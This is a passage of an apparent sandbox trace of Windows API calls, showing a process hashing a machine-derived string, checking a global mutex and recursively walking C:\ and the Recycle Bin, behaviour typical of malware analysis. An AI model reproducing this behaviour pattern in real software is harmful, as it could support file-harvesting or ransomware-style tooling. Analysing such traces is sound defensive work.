lpUsedDefaultChar=0x0) returned 9 [0034.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88a98 [0034.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0xf88a98, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0034.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf89230 [0034.421] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88a98) returned 1 [0034.421] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0034.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88a98 [0034.421] CryptAcquireContextW (in: phProv=0x174fc64, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x174fc64*=0x60b630) returned 1 [0034.421] CryptCreateHash (in: hProv=0x60b630, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x174fc64 | out: phHash=0x174fc64) returned 1 [0034.422] CryptHashData (hHash=0x603778, pbData=0xf89230, dwDataLen=0xa, dwFlags=0x0) returned 1 [0034.422] CryptGetHashParam (in: hHash=0x603778, dwParam=0x4, pbData=0x174fc68, pdwDataLen=0x174fc74, dwFlags=0x0 | out: pbData=0x174fc68, pdwDataLen=0x174fc74) returned 1 [0034.422] CryptGetHashParam (in: hHash=0x603778, dwParam=0x2, pbData=0xf88a98, pdwDataLen=0x174fc68, dwFlags=0x0 | out: pbData=0xf88a98, pdwDataLen=0x174fc68) returned 1 [0034.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf891e8 [0034.422] CryptDestroyHash (hHash=0x603778) returned 1 [0034.422] CryptReleaseContext (hProv=0x60b630, dwFlags=0x0) returned 1 [0034.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88a98) returned 1 [0034.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88a98 [0034.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf891a0 [0034.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88a98) returned 1 [0034.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88a98 [0034.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88a98) returned 1 [0034.422] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf891a0) returned 1 [0034.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf891e8) returned 1 [0034.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf891e8 [0034.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf891a0 [0034.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf891a0) returned 1 [0034.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf891a0 [0034.424] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{Global\\{-D2A8-E443--570-7-F5B2-D923-}") returned 0x0 [0034.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf891a0) returned 1 [0034.424] GetLastError () returned 0x3 [0034.425] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0xffffffff) returned 0xffffffff [0034.425] GetLastError () returned 0x6 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fa50 [0034.425] FindFirstFileExW (in: lpFileName="C:\\*", fInfoLevelId=0x1, lpFindFileData=0x174fa34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174fa34) returned 0x603778 [0034.425] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5e0000, dwReserved1=0x8003, cFileName="Boot", cAlternateFileName="")) returned 1 [0034.425] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x5e0000, dwReserved1=0x8003, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf7bc08 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f9c8 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf891a0 [0034.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.425] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x5e0000, dwReserved1=0x8003, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf7ff98 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f940 [0034.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.425] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5e0000, dwReserved1=0x8003, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0034.425] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Documents and Settings", cAlternateFileName="")) returned 1 [0034.425] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf7ffb8 [0034.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f8b8 [0034.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.426] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0034.426] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4ecf3280, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0034.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf7dd90 [0034.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f830 [0034.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.426] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0034.426] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3e1cad0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3e1cad0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Program Files", cAlternateFileName="")) returned 1 [0034.426] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Program Files (x86)", cAlternateFileName="")) returned 1 [0034.426] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="ProgramData", cAlternateFileName="")) returned 1 [0034.426] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Recovery", cAlternateFileName="")) returned 1 [0034.426] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="System Volume Information", cAlternateFileName="")) returned 1 [0034.426] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Users", cAlternateFileName="")) returned 1 [0034.426] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Windows", cAlternateFileName="")) returned 1 [0034.426] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174fa34 | out: lpFindFileData=0x174fa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8003, cFileName="Windows", cAlternateFileName="")) returned 0 [0034.426] GetLastError () returned 0x12 [0034.426] FindFirstFileExW (in: lpFileName="C:\\*", fInfoLevelId=0x1, lpFindFileData=0x174fa34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174fa34) returned 0x60b630 [0034.426] FindClose (in: hFindFile=0x603778 | out: hFindFile=0x603778) returned 1 [0034.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.426] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), fInfoLevelId=0x0, lpFileInformation=0x174f930 | out: lpFileInformation=0x174f930*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.427] CreateFileW (lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0034.427] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f974, lpLastWriteTime=0x174f974) returned 0 [0034.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.427] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f9cc, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f9cc, lpOverlapped=0x0) returned 0 [0034.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.427] NtClose (Handle=0x148) returned 0x0 [0034.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f148) returned 1 [0034.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f148 [0034.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f7a8 [0034.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f720 [0034.427] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0x603778 [0034.427] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.427] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 1 [0034.427] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 0 [0034.427] GetLastError () returned 0x12 [0034.428] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0x60b670 [0034.428] FindClose (in: hFindFile=0x603778 | out: hFindFile=0x603778) returned 1 [0034.428] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.428] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="")) returned 1 [0034.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.428] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0034.428] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0034.428] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.428] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.428] NtClose (Handle=0x148) returned 0x0 [0034.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f610 [0034.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf85850 [0034.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.428] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf85958 [0034.428] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x603778 [0034.428] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.430] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0034.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.430] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.430] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.430] RtlFreeHeap (HeapHandle=0xf70000, 